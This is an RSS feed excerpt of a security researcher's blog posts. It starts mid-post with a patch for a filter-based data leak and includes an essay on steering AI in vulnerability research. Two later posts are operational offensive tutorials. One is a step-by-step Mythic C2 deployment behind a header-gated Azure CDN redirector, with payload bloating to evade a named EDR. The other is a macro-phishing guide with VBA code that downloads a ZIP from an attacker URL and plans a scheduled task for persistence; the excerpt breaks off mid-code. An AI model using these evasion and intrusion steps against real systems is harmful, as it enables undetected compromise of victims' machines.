     for key in (&#39;and&#39;, &#39;or&#39;):<br>            if key in val:<br>                _reject_sensitive_filter(val[key])<br>    elif isinstance(val, list):<br>        for item in val:<br>            _reject_sensitive_filter(item)</pre><p>The schema now runs this check on every filter before it is evaluated:</p><pre>def _validate_filter_types(self, filter_):<br>        &quot;&quot;&quot;<br>            Compares the filter_ list against the model field and the value to be compared.<br>            PostgreSQL is very strict with types.<br>            Return a list of filters (filters are dicts)<br>        &quot;&quot;&quot;</pre><pre>        if filter_[&#39;name&#39;] in self._model_sensitive_fields():<br>            raise ValidationError(&#39;Filter on sensitive field is not allowed&#39;)<br>        _reject_sensitive_filter(filter_.get(&#39;val&#39;))</pre><p>For my payload, the recursive check is what matters. I put password inside the valof a creator.has(...) filter, so checking only the top-level name would have missed it.</p><p>The patch uses a denylist, so new sensitive columns have to be added by hand. It blocks the demonstrated authentication-related fields: password, _otp_secret, and fs_uniquifier. Account metadata outside that list, such as email, username, and the login-IP fields, remains filterable. That makes the fix narrower than the per-model allowlist I&#39;d recommend for the general case.</p><p>If you run an affected version, upgrade. A reverse-proxy rule in front of the API is not a substitute.</p><h3>Takeaways</h3><p>What I take away from this is that the filter deserves the same scrutiny as any other way of querying the database. A field can stay out of the response and still leak through the questions the API lets me ask about it. When reviewing nested filters, GraphQL selections, ORM paths, sort keys, or aggregations, I’d ask:</p><ul><li>Can this expression cross into a more sensitive model?</li><li>Is every selectable field exposed on purpose?</li><li>Does a count, timing difference, error, or empty result leak a predicate over hidden data?</li><li>Are permissions re-applied after relationship traversal?</li></ul><p>An unclear answer gives me somewhere to investigate. In this case, following an allowed relationship to a hidden field was enough, and the result count told me the rest.</p><h3>Disclosure</h3><p>I reported the issue to Faraday, who confirmed it, fixed it in 5.21.0, and published GHSA-v3fv-c24g-54p3 on September 2, 2026, crediting me as the finder. At the time of writing, the CVE request has been pending for more than 60 days, and the advisory still lists no CVE ID. For all the talk about AI speeding things up, I’m still waiting for a number.</p><p>The Faraday team was supportive and responsive from the first email. Across this and my other reports, they worked through the findings with me. They confirmed and fixed this one, explained why some other code paths I flagged weren’t reachable in practice, and pointed out areas worth a second look. When we disagreed on severity, they explained their reasoning. I appreciated that. Their feedback helped me be more precise about what I’d found and what I could claim.</p><p>I also submitted two other reports to Faraday. I’ll discuss those separately More to come.</p><h3>Advisory and PoC</h3><p><strong>Advisory:</strong> <a href="https://github.com/infobyte/faraday/security/advisories/GHSA-v3fv-c24g-54p3">GHSA-v3fv-c24g-54p3</a></p><p><strong>Safe verifier:</strong> <a href="https://github.com/giki-shergill/faraday-filter-oracle">github.com/giki-shergill/faraday-filter-oracle</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9923374f543" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Operator Is the Harness: Why Steering Still Decides What AI Finds]]></title>
            <link>https://gshergill.medium.com/the-operator-is-the-harness-why-steering-still-decides-what-ai-finds-b2cfbf4ef62f?source=rss-6bc60fce374f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2cfbf4ef62f</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[ai-harness]]></category>
            <category><![CDATA[security-with-ai]]></category>
            <category><![CDATA[claude]]></category>
            <dc:creator><![CDATA[Gurpreet Shergill]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 04:02:43 GMT</pubDate>
            <atom:updated>2026-11-02T04:02:43.173Z</atom:updated>
            <content:encoded><![CDATA[<p>I’ve been using AI since ChatGPT came out at the end of 2022, first just to explore it and then for all kinds of everyday tasks. Around the end of 2025 I took up vulnerability research as a part-time hobby, and that’s when AI became part of how I hunt for bugs. My background is traditional red teaming and penetration testing, and that’s still how I work most days. AI sits next to that work rather than replacing it.</p><p>This post isn’t about a specific bug. It’s about what almost a year of using these tools for security research has taught me, and where I think people are getting the story wrong.</p><p>Everyone talks about speed. AI gives you that, and it also gives you knowledge on demand. Neither one tells you where to look or what’s worth chasing. That still comes from you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukq5lnYQZ7waaZknnTbznw.png" /></figure><h3><strong>One model first</strong></h3><p>When I started hunting bugs on the side, outside my day job, I switched to Claude, the standard version on a personal account. I picked that one model and stayed with it for a long time before touching another. The verified-access programs for security researchers hadn’t opened yet, so the ordinary model was all I had. Looking back, that was useful. I learned what a plain model could do in my hands before any specialized access was in the picture.</p><p>Codex came later, and open-weight models after that. Going deep on one tool first meant I learned its habits, where it was strong and where it bluffed, before I had anything to compare it to.</p><p>Claude was good at low-hanging fruit from day one: obvious sinks, missing checks, shallow logic mistakes. Almost a year later, that’s still where models shine without help.</p><h3><strong>The part of the harness people forget</strong></h3><p>The big topic right now is the harness. That’s everything built around the model: the loop that runs it, the tools it can call, the instructions, skills, and context you load into it, and the environment it works in. Get the harness right, the argument goes, and the model does the rest. You hear it everywhere people use these tools, whether that’s vulnerability research, penetration testing, red teaming, AI security testing, or software development. I don’t disagree with any of it. I build harnesses too.</p><p>After a few years with these tools, and almost a year of using them to hunt bugs, I’m convinced the best harness for any model or agent is the person operating it. That holds in every one of those fields.</p><p>I think of a model as a very bright teenager. It knows a lot, it has endless energy, and it has no idea where it’s going. I get to pick the destination. My part is to keep it on the road, and to pull it back when it wanders down a side street. Don’t try that with your own teenager :-)</p><h3><strong>“Find me an RCE” doesn’t work</strong></h3><p>Point an agent at a repository and ask for remote code execution, and you’ll rarely get it. On badly written code you might, because the model grabs whatever is easiest and sometimes the easiest thing is exploitable. On reasonably solid code, you’ll mostly get low and medium findings.</p><p>The problem is how it follows leads. It spots something that looks promising, like an unchecked input or an odd function, and starts digging. Then it splits into more branches, and each branch splits again. Most of those chains close. And the model often can’t tell whether it chose the wrong branch at the start, or the right branch with one missing piece.</p><p>If you don’t understand the target yourself, you can’t tell either. You don’t know what that odd function really does, where the interesting path started, or when to back up two steps and try another direction.</p><p>Here’s a case from my own work. I was looking at an Apple application (still unfixed, so I won’t name it). I’d found a bug, and Claude Opus kept falling back on lines I’ve come to recognize:</p><p>“Here’s my honest assessment.”<br> “I want to be direct with you.”<br> “We’ve exhausted the reasonable approaches.”<br> “We’ve spent a lot of time on this.”<br> “This appears to be a dead end.”</p><p>It wasn’t tired or frustrated. Models don’t work that way. But after enough failed attempts in one session, it starts steering toward wrapping up, and it can make that call too early.</p><p><em>Here’s how I steered it.</em></p><p>The model never flagged the legacy side of the app on its own. I knew Apple still keeps older API handlers around in some applications, so I steered the model to look for them in this one. Once it knew what to look for, it found a few still in use. Then I had it list where those handlers are reachable, what parameters they accept, and what they could be made to touch. The question changed from “is there a bug here?” to “what’s the most damaging thing this path can reach?” Depending on what’s on the other end, that’s where sandbox escapes, TCC bypasses, or code execution live.</p><p>Could the model have found that direction alone? Maybe, eventually. In practice it took someone who knew the platform to steer it there.</p><p>Even the companies building “autonomous” hacking tools seem to agree, if you read the details.</p><p>XBOW calls itself an autonomous offensive security platform. Yet in [its own write-up](https://xbow.com/blog/xbow-built-a-chrome-full-chain-exploit) of a Chrome full-chain exploit, it calls the work a partnership between humans and machines. The agents searched Chrome’s source, tested ideas, and wrote early drafts. The researchers set the strategy, chose where to look, and checked the agents’ work.</p><h3>Speed, knowledge, and a lower bar</h3><p>When people talk about hacking in the AI era, the word that keeps coming up is speed. I think that’s accurate. Many researchers are hunting the same bug classes they’ve hunted for five, ten, or even twenty years. They’re just doing it much faster now.</p><p>Speed isn’t the only thing it gives you, though. It also gives you knowledge on demand. You can ask about a file format, an IPC mechanism, or an old API you’ve never touched, and get a working explanation in seconds instead of days of reading. That knowledge is broad, but it isn’t always right, and it isn’t judgment. The model can explain what a legacy handler does. It won’t tell you that this handler, in this app, is the one worth your week. Checking what it says and deciding what matters is still your job.</p><p>It also lowers the barrier to entry. People who couldn’t write an exploit two years ago can now produce one. That’s good for learning, and it’s also part of why programs are getting so many more reports.</p><p>You can see the effect on bug bounty programs. Much of the public discussion is about floods of invalid, AI-generated reports. The curl project went as far as [ending its bug bounty](https://www.theregister.com/2026/01/21/curl_ends_bug_bounty/) in January 2026, citing a flood of AI slop. After that, the reports got better, but they kept coming, most of them AI-assisted. By October it went further: only high and critical reports are now handled privately, and lower-severity issues go straight to public GitHub issues. Curl’s maintainer has also described AI-assisted reports involving unlikely configurations and little practical risk. That fits my own impression: even among valid reports, a lot of what I see shows limited impact.</p><p>My explanation is that the person who finds a bug often isn’t the person who can chain it, show its real impact, or even see where it could lead. A universal XSS is where most of us stop, file, and collect the bounty.</p><p>Orange Tsai’s latest write-up, [The Last Proof of Human Craft](https://blog.orange.tw/posts/2026-10-the-last-proof-of-human-craft-browser-full-chain/), starts at exactly that point. His Microsoft Edge full chain for Pwn2Own Berlin 2026 begins with a universal XSS. He then adds four more logic bugs and two Windows features until it ends in code execution, with no memory corruption at all. He built it entirely by hand, with no AI. It’s the same approach behind his older [ProxyLogon] chain against Microsoft Exchange, where a pre-auth SSRF and a post-auth file write together gave pre-auth RCE.</p><p>In the same post he writes that “fewer and fewer people actually sit down and read articles these days.” I think posts like his matter more now, not less. He also writes that “the hard part is finding them, and once you find them all, chaining is the easiest part.” That’s my point too. The skill is knowing which pieces to look for, and that comes from understanding how the target is built.</p><p>So, can’t an agent chain bugs? It can, if someone tells it which direction matters. Without that, it wanders.</p><h3><strong>Depth still wins in its own lane</strong></h3><p>Security has always had specialists. In red teaming, some people are brilliant at initial access. Others are best at persistence, malware development, or infrastructure. Vulnerability research works the same way. One researcher lives in browsers, another in kernels, mobile platforms, web applications, or cloud identity.</p><p>Can someone with basic knowledge, build advanced malware with AI? They can build something. Can they beat an experienced malware developer who also uses AI? I don’t think so. The expert knows which undocumented APIs and internals are worth going after and can steer a model toward work that would take anyone else days or weeks. Think of 5pider, who built the Havoc C2 framework, NUL0x4C and mr.d0x, who co-founded Maldev Academy, or the vx-underground collective, which has spent years archiving and studying malware. People with that depth, using AI, could build sophisticated malware in hours. For researchers without that depth of expertise, the same work could take days or weeks, even with help from multiple AI models.</p><p>There’s a popular fear that AI wipes out the value of the years people spent getting good at one thing. I think it’s partly true at the shallow end. At the deep end it works the other way. Expertise plus AI moves faster than either one alone.</p><h3><strong>Generalists have their own edge</strong></h3><p>Many of us are generalists, with practical experience across different areas. We know a reasonable or more than reasonable amount about Active Directory, some cloud, some web, a bit of macOS internals and other areas of security. We build on that experience by learning from people who specialize deeply in those fields, examples:</p><ul><li><strong>Nikhil Mittal </strong>on Active Directory and Azure/Entra ID attacks.</li><li><strong>DebuggerMan (0xDbgMan)</strong> on initial access: phishing infrastructure, AitM and MFA bypass, and HTML smuggling.</li><li><strong>James Kettle</strong> on novel web attacks, especially HTTP request smuggling and desync.</li><li><strong>Mickey Jin </strong>on Apple platforms, with hundreds of Apple CVEs, many of them sandbox escapes and TCC bypasses.</li><li><strong>Orange Tsai</strong> on chaining bugs across web, Exchange, and browsers.</li><li><strong>The BloodHound creators at SpecterOps </strong>on attack paths through Active Directory and Azure.</li></ul><p>and many more.</p><p>We read what they publish, take their courses, study their research, and use their tools. Then we apply it on engagements and tweak it when we need to get past a defense.</p><p>That doesn’t put us behind. Generalists bring breadth, and breadth leads to different questions. Does this bug have a sibling in another component or another area not just cloud or not chrome? Is there a bypass for the fix? Would this technique work in a place the original author never looked? Is the same bug class sitting in a different product? For example, could Mickey Jin’s research on Apple platforms point us toward similar weaknesses in Windows?</p><p>AI makes those questions cheap to test. It has changed how I read research. I used to read to understand a technique or use it on an engagement. Now I also read every paper as a starting point. Which parts can be extended, which bugs have siblings, and which pieces could be chained differently?</p><p>A specialist will usually find things in their own area first. A generalist can often carry an idea from one area into another faster. And with enough focused time, a generalist becomes a specialist somewhere new.</p><h3><strong>PoCs are cheap now</strong></h3><p>Writing a proof of concept used to take real time. Now, with a clear goal, a model can produce one in minutes. How good it is depends on how clearly you can describe what you want, which depends on how well you understand the problem. What’s still hard:</p><ul><li>Determining whether a flaw is exploitable in the product as shipped, rather than only in your lab.</li><li>Locating complex business-logic bugs, which models seldom detect without guidance through the correct workflow.</li><li>Converting a low-impact issue into a high-impact chain.</li></ul><h3><strong>Where this leaves me</strong></h3><p>AI made me faster at finding bugs, writing malware and much faster at writing PoCs. Left on its own, it can turn up high or even critical bugs in badly written code. In well-written code it mostly finds low and medium issues, with the occasional high. The teams that get more than that from AI, like Google’s, usually have more than a subscription: purpose-built harnesses, substantial computing resources, and experts choosing the targets.</p><p>For the rest of us, steering is what closes that gap. With the right direction, high and critical bugs become a realistic target even in good code. That direction comes from what I know, and from what I keep learning by reading other people’s work with new questions in mind.</p><p>Build whatever harness you like around the model to make it work better. The human is still the main one.</p><p>People started saying AI rules now. From where I sit, humans still lead. For now, anyway. I’ll write again when the balance shifts.</p><blockquote><em>And yes, AI helped me write this article. The ideas, the experiences, and the opinions are mine. The model helped with structure, wording, and fact-checking. I did the steering, which is kind of the point of this whole post.</em></blockquote><p>I’ll cover how I set up and combine models in the next post.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2cfbf4ef62f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up Mythic C2: A Guide to Evading Advanced Detection Systems]]></title>
            <link>https://gshergill.medium.com/setting-up-mythic-c2-a-guide-to-evading-advanced-detection-systems-b93ae0ba2816?source=rss-6bc60fce374f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b93ae0ba2816</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[mythic]]></category>
            <category><![CDATA[red-team-tools]]></category>
            <category><![CDATA[evasion]]></category>
            <category><![CDATA[edr]]></category>
            <dc:creator><![CDATA[Gurpreet Shergill]]></dc:creator>
            <pubDate>Mon, 03 Jun 2024 13:58:02 GMT</pubDate>
            <atom:updated>2024-06-03T13:58:02.774Z</atom:updated>
            <content:encoded><![CDATA[<h4>DISCLAIMER: Using these tools and methods against hosts that you do not have explicit permission to test is illegal. You are responsible for any damage you may cause by using these tools and methods.</h4><p>EDRs are good at sensing popular Command and Control (C2) payloads and malicious files, so it’s crucial to stay ahead with effective tricks and open-source tools that can bypass these defenses. Using tools like Mythic or Sliver, along with other open-source solutions, can help you evade detection — without needing to be a malware developer or create custom payloads for advanced evasion. As someone once said to me, ‘Why do the work when someone else has already done it for you?’ All you need to focus on are the techniques to utilize these tools effectively.</p><p>In this article, we’ll focus on Mythic and see how effective is it against EDRs evasions. Mythic stands out due to its adaptable and extensible architecture. Designed as a multiplayer, cross-platform, and red teaming framework, Mythic offers multiple agent types that complicate detection and mitigation for defenders. Most agents are publicly available and run in Docker, allowing for easy customization.</p><p>Let’s dive in and see how we can set up Mythic as our infrastructure in the cloud and use it effectively by hiding behind redirectors.</p><h3>Azure setup</h3><p>Before deploying Mythic on Azure, we need to set up a Virtual Machine (VM) to host it as a server and an Azure CDN to mask our infrastructure traffic. While I won’t provide details to cover VM creation, hiding the infrastructure completely, I will outline the basic steps and configurations required to get Mythic up and running effectively.</p><ol><li>Create a resource group and a new Ubuntu VM.</li><li>Change the username and secure your VM using SSH public/private key access, keeping all other settings as default (port 22 open).</li><li>Download the private key to access the VM from your local machine</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*yFkK4jakj86DJvxJiHlDag.png" /></figure><p>4. Click on the public IP address and create a DNS name label, e.g., offsec.canadacentral.cloudapp.azure.com</p><p>5. Go to networking and open two ports 80 and 443</p><ul><li>Source IP range for 443 should be mentioned as 147.0.0.0/8 and 152.0.0.0/8</li><li>Keep source and destination IP as any/any for port 80 to allow access from any IP.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*rtqWkqaAmwntwfdbMDdGLQ.png" /></figure><p>Next, we will create an <strong>Azure Front Door and CDN profile</strong> to redirect traffic to our C2 server. The goal is to redirect any traffic without a specific header to a designated site (Google in our example), while traffic with the specific header will be directed to our backend server. While redirecting traffic without a specific header to another site can help obscure the server’s presence, it does not fully hide the server and it can still be discovered and potentially flagged as malicious.</p><ol><li>Click on “Front Door and CDN profile” in Azure, choose “Explore other offerings,” and select “Azure CDN Standard from Microsoft..</li><li>Provide a name for the CDN and click on ‘Create a new CDN endpoint.’ In the CDN endpoint settings, give it a desired name, choose ‘Custom origin’ as the origin type, and enter the DNS name of the VM you created as the origin hostname.” Under query string caching behavior, select “Bypass caching for query strings” to prevent caching of requests.</li><li>Click “Create” and note the endpoint URL, which will be needed for your Mythic installation.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*wTcVVWJ48alTgnh0gPAxBg.png" /></figure><p>4. Turn the compression “Off”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*owwcIGPe9XVZ1B1ITnrNJQ.png" /></figure><p>5. Click on “Engine Rules” and add a rule</p><ul><li>Add action as “If Request header”</li></ul><pre>Header Name  - X-BACKDOOR-X   //you can change it<br>Operator - not equals <br>Header Value - 2.2    //you can change it<br>Transform case-  no transform</pre><ul><li>Then add the condition: ‘URL Redirect.’</li></ul><pre>Type — Found 302 protocol match request.<br>Protocol- Match Request<br>Hostname -www.google.com<br>path — /</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ywMFjmDcLeD7-MvzAGrc5Q.png" /></figure><p>6. Click “Save”</p><h3>Mythic Installation</h3><p>We have our server and redirection set, now it is time to install Mythic</p><ol><li>SSH into the Azure VM machine we just created</li><li>Update the Virtual Machine</li></ol><pre>#Access the machine<br>ssh -i mythicC2_key.pem azureuser@attackerIP<br><br>#update the VM<br>sudo apt-get update</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*Qk6kL2wC88LsHzGj9QQGAA.png" /></figure><p>3. Clone the Mythic repository from GitHub. Once we have the Mythic directory cloned on our server, run install_docker_ubuntu.sh to run it in docker.</p><pre>#clone the repo<br>git clone https://github.com/its-a-feature/Mythic &amp;&amp; cd Mythic<br>#run the Ubuntu bash script<br>sudo ./install_docker_ubuntu.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gu6rjzXzyQpDmSp8tiriIQ.png" /></figure><p>4. Install mythic-cli to operate it from command line and install the required agents.</p><pre>#install make<br>sudo apt-get install make<br><br>#create the binary file<br>sudo make</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*glF6N_L2pCH5KDoRSXPs4A.png" /></figure><p>5. Then, to verify the command ran successfully, we run <strong>ls -al</strong> to list the contents of the Mythic directory; and see <em>mythic-cli</em> file was created in a binary form. Next, install the agents we needed in Mythic. There are number of different agents on Mythic GitHub repository for Linux, Windows and Mac OS. These agents support different C2 channels like HTTP, SMB, and Websockets.</p><pre>#install agents for Mythic. Example set:-<br><br>sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo<br>sudo ./mythic-cli install github https://github.com/MythicAgents/Athena<br>sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*whJ0tSjcVvTMaxbB7rM4mg.png" /></figure><p>6. The C2 profile is a configuration file used to customize the C2 communication between the testers (attackers) and the compromised systems. Mythic provides six (<strong>6)</strong> different C2 profiles:<em> HTTP, DNS, Discord, Slack, Websocket, and dynamic HTTP</em>. All of these profiles can be customized by editing the JSON configuration file called config.js.</p><p>We will install the HTTP profile using the <em>mythic-cli</em> tool.</p><pre># profile setup<br>sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http</pre><p>Change the profile and set use_ssl to true and port to 443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*rTUVTYh-YYBHOhp_HpjLiQ.png" /></figure><p>7. Setup lets encrypt certificate. We are using Let’s Encrypt certificate as Microsoft CDN not allowing self-signed certificates</p><p>👉 Enter “1” to Spin up a temporary webserver.</p><pre><br># Install certificate using certbot<br> <br>sudo apt-get install -y certbot<br>sudo certbot certonly --register-unsafely-without-email -d YOURDNSNAME.canadacentral.cloudapp.azure.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L1Hx5XBmG5yOen-l9LwQsg.png" /></figure><p>9.From Mythic directory, copy certificates</p><pre># Copy certificate<br>sudo cp /etc/letsencrypt/live/YOURDOMAIN.canadacentral.cloudapp.azure.com/fullchain.pem . <br>sudo cp /etc/letsencrypt/live/YOURDOMAIN.canadacentral.cloudapp.azure.com/privkey.pem .</pre><p>10. Start Mythic</p><pre># Start Mythic<br>sudo ./mythic-cli start</pre><p>11. Check C2 docker running and copy the certificate</p><pre>sudo docker ps | grep http<br>sudo docker exec 77f1dee68c4d ls http/c2_code<br>sudo docker cp fullchain.pem 77f1dee68c4d:/Mythic/http/c2_code/fullchain.pem<br>sudo docker cp privkey.pem 77f1dee68c4d:/Mythic/http/c2_code/privkey.pem</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q-d31aY2OLzl0Vprv8PrSw.png" /></figure><p>12. Check .env variable for Mythic username &amp; password and restart Mythic server.</p><pre>grep -B 1 mythic_admin .env<br>sudo ./mythic-cli restart</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*HDuHho_VX7S4oC3bIe5ywg.png" /></figure><p>13. Login again to VM with local port forward and open Mythic on local browser with username and password we have from .env variable</p><pre><br>ssh azureuser@attackerIP -i .\Mythic_key.pem -L 17443:localhost:1744<br><br>https://127.0.0.1:7443   #Access Mythinc from local machine</pre><h3>Mythic Payload Creation</h3><p>Let’s create our first payload designed to bypass XDR/EDR systems. Mythic agents may bypass EDRs directly without the need for additional tools. You can also use your custom agent with Mythic for advance evasion. Once logged in</p><ol><li>Click on generate payload and select the OS as “ Windows”</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*ryTPJJXSQ0pVfcv6cQXghg.png" /></figure><p>2. Select the payload type as Thanatos (you can try Apollo, Athena, etc.) and set the settings as needed, or keep the default settings if nothing specific you want to change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*EG3IrH8LlqcDgeqOPJRC8g.png" /></figure><p>3. Next, select the commands you want to use in this payload and Select c2 http profile. Enter the required information. Main change were</p><ul><li><strong>Callback Host:</strong> Use the front door URL we created earlier, e.g., <a href="https://frontdoor.azureedge.net./">https://frontdoor.azureedge.net</a></li><li><strong>Callback Port:</strong> 443</li><li><strong>HTTP Headers:</strong> Set the header to match the host header we set in Azure CDN redirection. Use X-BACKDOOR-X with the value 2.2</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*9nNyNlnd4bUwSeSj-rHGrA.png" /></figure><p>4. Click next and download the payload. <strong>Did this bypass your EDR/AV for you? </strong>For me it did bypass few but getting detected by ML EDR such as Trend Apex One . Not detected as malicious but marked as Newly encountered program and blocked the process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*ZUYDIYeGxzoT5_Dbx-pOtQ.png" /></figure><h3>How to Bypass?</h3><p>Most Endpoint Detection and Response (EDR) systems struggle to scan both on-disk and in-memory files beyond a certain size due to performance constraints. Large files require more time to analyze, which can significantly impact system performance and user productivity. To leverage this against EDRs, there are tools available to inflates files by appending a padding of Null bytes (zeros) at the end of the file, ensuring that the content remains unaffected and evading EDR detection.</p><p>I’m going to use Mangle tool from Optiv (<a href="https://github.com/optiv/Mangle">https://github.com/optiv/Mangle</a> ) for this article. Although, the repository is archived now but it is still useful. Using the same file I created and inflated the size by 106 MB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWRg03LInOVOnJDBJyAN8A.png" /></figure><p>Checking the payload again and not getting detected by Trend Micro Apex One. I got the call back in my Mythic server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6r42LrWFs95sGtysuG1Pig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iBI-pKkwI6drZQAXEHOeEQ.png" /></figure><p>I used the same exe payload in my last article related to Macros and executed it with a scheduled task. For more information, refer to my previous article on Macros and Phishing.</p><p>Although EDR systems are becoming increasingly sophisticated in detecting payloads and malicious files, there are still effective tricks and open-source tools that can bypass these defenses. Knowing which tool to use and where to apply it is key to successfully evading detection. The continuous evolution of both defensive and offensive techniques means that staying informed and adaptable is crucial for anyone engaged in red teaming or penetration testing. With the right knowledge and tools, such as Mythic and its extensive suite of agents, you can stay one step ahead of advanced detection systems. Always remember to use these tools responsibly and within the bounds of the law.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b93ae0ba2816" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Is Macro Phishing Dead in 2024?]]></title>
            <link>https://gshergill.medium.com/is-macro-phishing-dead-in-2024-56b7b4473a29?source=rss-6bc60fce374f------2</link>
            <guid isPermaLink="false">https://medium.com/p/56b7b4473a29</guid>
            <category><![CDATA[initial-access]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[macro]]></category>
            <dc:creator><![CDATA[Gurpreet Shergill]]></dc:creator>
            <pubDate>Mon, 27 May 2024 18:57:34 GMT</pubDate>
            <atom:updated>2024-05-27T19:11:33.235Z</atom:updated>
            <content:encoded><![CDATA[<h3>Is Macro Phishing Dead in 2024? — A Scheduled Task for Initial Access and Persistence using macro by Abusing Shortcut Files and SSH</h3><h4><strong>DISCLAIMER: Using these tools and methods against hosts that you do not have explicit permission to test is illegal. You are responsible for any damage you may cause by using these tools and methods.</strong></h4><p>Microsoft announced the blocking of VBA macros by default for Office users in 2021 and 2022, and started rolling out this change in June 2022. This implementation has led to a significant decrease in macro-based phishing attacks. According to Proofpoint, the use of VBA and XL4 macros in phishing campaigns decreased by approximately 66% between October 2021 and June 2022.</p><p>With this implementation, traditional macro-based attacks began to be replaced by new vectors, such as leveraging container files like ISO, RAR, ZIP, and Windows Shortcut (LNK) files to deliver malware, to bypass security measures and exploit user systems, and this shift continues..</p><h3>Are Office Macros Really Dead?</h3><p>Despite Microsoft’s efforts to block VBA macros in Office documents received from the internet, some companies have not fully implemented these protections, opting to bypass them for operational reasons. This decision is often influenced by the reliance on macros for internal processes and productivity. These companies remain prime targets for Advanced Persistent Threat (APT) actors utilizing macros in Office documents.</p><p>Additionally, APT actors continue to use various techniques to bypass the Mark of the Web (MOTW) and deliver macro-containing files. With the advanced implementation of EDR/XDR, some of these attacks are detected immediately. However, there are still advanced macro techniques that can evade detection. <a href="https://blog.f-secure.com/dechaining-macros-and-evading-edr/">F-Secure</a>, in their blog, covered various approaches for dechaining macros and evading detection. This article will cover one specific technique used by APT actors to create scheduled tasks while evading EDR/XDR detection.</p><h3>Leveraging Macros for Scheduled Tasks</h3><p>APT actors chain and leverage macros to create scheduled tasks while evading EDR/XDR detection. Testing several macros revealed that, due to their behaviors and the advanced machine learning capabilities of modern EDR/XDR systems, bypassing these defenses with macros is becoming increasingly difficult. Endpoint Detection and Response (EDR) systems can detect the creation of parent/child processes and the unlinking (dechaining) of these processes. However, by leveraging VBScript’s access to underlying systems, it is still possible to evade detection with dechaining.</p><h4>What Our Macro Will Do?</h4><ol><li>Download the ZIP File:</li></ol><ul><li>First, when the macro executes, it downloads a ZIP file hosted on the internet to a folder set in the Windows TEMP environment variable.</li><li>Example: C:\users\user\AppData\Local\Temp\thano.zip</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*oNxdWr6CaIDdciK-SUHkQg.png" /></figure><p>2. Extract the ZIP File:</p><ul><li>Instead of extracting the file directly (which didn’t work for me using the macro), a batch file is created using the same VBA macro and stored in the same TEMP location.</li><li>The batch file contains the code to extract the file using Windows’ native “tar” utility.</li></ul><p>3. Create a Scheduled Task:</p><ul><li>A scheduled task is created that will open the file every minute after the user logs on, from the extracted folder.</li></ul><h4>Let’s Do It</h4><p>Creating a scheduled task with the “schtasks” command was detected immediately by XDR systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*nCHsFf3OEo156VgLH0Oidg.png" /></figure><p>Leveraging ChatGPT for Code Obfuscation: I started using ChatGPT to play with code obfuscation and creating new macros. Code below is partial and only a code snippet is shown.</p><p>With ChatGPT I landed on a code that leverages low-level Windows libraries like kernel32, ole32, and urlmon to perform its operations.</p><pre>Private Declare PtrSafe Function CoSetProxyBlanket Lib &quot;ole32.dll&quot; ( _<br>    ByVal pProxy As Object, _<br>    ByVal dwAuthnSvc As Long, _<br>    ByVal dwAuthzSvc As Long, _<br>    ByVal pServerPrincName As LongPtr, _<br>    ByVal dwAuthnLevel As Long, _<br>    ByVal dwImpLevel As Long, _<br>    ByVal pAuthInfo As LongPtr, _<br>    ByVal dwCapabilities As Long) As Long<br><br>Private Declare PtrSafe Function URLDownloadToFile Lib &quot;urlmon&quot; _<br>    Alias &quot;URLDownloadToFileA&quot; ( _<br>    ByVal pCaller As Long, _<br>    ByVal szURL As String, _<br>    ByVal szFileName As String, _<br>    ByVal dwReserved As Long, _<br>    ByVal lpfnCB As Long) As Long<br>Private Declare PtrSafe Function ShellExecute Lib &quot;shell32.dll&quot; _<br>    Alias &quot;ShellExecuteA&quot; ( _<br>    ByVal hwnd As Long, _<br>    ByVal lpOperation As String, _<br>    ByVal lpFile As String, _<br>    ByVal lpParameters As String, _<br>    ByVal lpDirectory As String, _<br>    ByVal nShowCmd As Long) As Long</pre><p>Download the file using URLDownloadtoFile function and save under ENV Temp folder.</p><pre>    &#39; Provide the URL of the file you want to download<br>    FileURL = &quot;http://attackerurl/thano.zip&quot;<br>    <br>    &#39; Provide the full path of the destination file<br>    DestinationFile = Environ$(&quot;TEMP&quot;) &amp; &quot;\thano.zip&quot;<br>    <br>    &#39; Download the 